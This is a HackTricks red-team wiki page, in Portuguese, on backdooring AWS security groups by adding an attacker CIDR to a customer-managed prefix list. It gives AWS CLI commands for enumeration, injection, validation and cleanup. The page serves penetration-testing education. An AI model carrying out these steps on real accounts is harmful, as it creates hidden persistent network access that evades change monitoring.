AWS - Security Group Backdoor via Managed Prefix Lists

Reading time: 4 minutes

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

Resumo

Abusar de customer-managed Prefix Lists para criar uma via de acesso furtiva. Se uma security group (SG) rule referenciar uma managed Prefix List, qualquer pessoa com a capacidade de modificar essa lista pode adicionar silenciosamente CIDRs controlados pelo atacante. Toda SG (e potencialmente Network ACL ou VPC endpoint) que referenciar a lista passa a permitir imediatamente os novos intervalos sem nenhuma alteração visível na SG.

Impacto

  • Expansão instantânea das faixas de IP permitidas para todas as SGs que referenciam a Prefix List, contornando controles de mudança que monitoram apenas edições de SG.
  • Habilita backdoors persistentes de ingress/egress: mantenha o CIDR malicioso oculto na Prefix List enquanto a SG rule parece inalterada.

Requisitos

  • Permissões IAM:
  • ec2:DescribeManagedPrefixLists
  • ec2:GetManagedPrefixListEntries
  • ec2:ModifyManagedPrefixList
  • ec2:DescribeSecurityGroups / ec2:DescribeSecurityGroupRules (para identificar SGs anexadas)
  • Opcional: ec2:CreateManagedPrefixList se estiver criando uma nova para testes.
  • Ambiente: Pelo menos uma SG rule referenciando a Prefix List gerenciada pelo cliente alvo.

Variáveis

bash
REGION=us-east-1
PREFIX_LIST_ID=<pl-xxxxxxxx>
ENTRY_CIDR=<attacker-cidr/32>
DESCRIPTION="Backdoor – allow attacker"

Etapas do Ataque

  1. Enumerar listas de prefixos candidatas e consumidores
bash
aws ec2 describe-managed-prefix-lists \
--region "$REGION" \
--query 'PrefixLists[?OwnerId==`<victim-account-id>`].[PrefixListId,PrefixListName,State,MaxEntries]' \
--output table

aws ec2 get-managed-prefix-list-entries \
--prefix-list-id "$PREFIX_LIST_ID" \
--region "$REGION" \
--query 'Entries[*].[Cidr,Description]'

Use aws ec2 describe-security-group-rules --filters Name=referenced-prefix-list-id,Values=$PREFIX_LIST_ID para confirmar quais regras de SG dependem dessa prefix list.

  1. Adicione o CIDR do atacante à prefix list
bash
aws ec2 modify-managed-prefix-list \
--prefix-list-id "$PREFIX_LIST_ID" \
--add-entries Cidr="$ENTRY_CIDR",Description="$DESCRIPTION" \
--region "$REGION"
  1. Validar a propagação para security groups
bash
aws ec2 describe-security-group-rules \
--region "$REGION" \
--filters Name=referenced-prefix-list-id,Values="$PREFIX_LIST_ID" \
--query 'SecurityGroupRules[*].{SG:GroupId,Description:Description}' \
--output table

O tráfego de $ENTRY_CIDR agora é permitido em qualquer lugar onde a prefix list seja referenciada (comumente nas regras de saída em egress proxies ou nas regras de entrada em serviços compartilhados).

Evidências

  • get-managed-prefix-list-entries reflete o attacker CIDR e a descrição.
  • describe-security-group-rules ainda mostra a regra SG original referenciando a prefix list (nenhuma modificação de SG registrada), porém o tráfego do novo CIDR é bem-sucedido.

Limpeza

bash
aws ec2 modify-managed-prefix-list \
--prefix-list-id "$PREFIX_LIST_ID" \
--remove-entries Cidr="$ENTRY_CIDR" \
--region "$REGION"

tip

Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprenda e pratique Hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks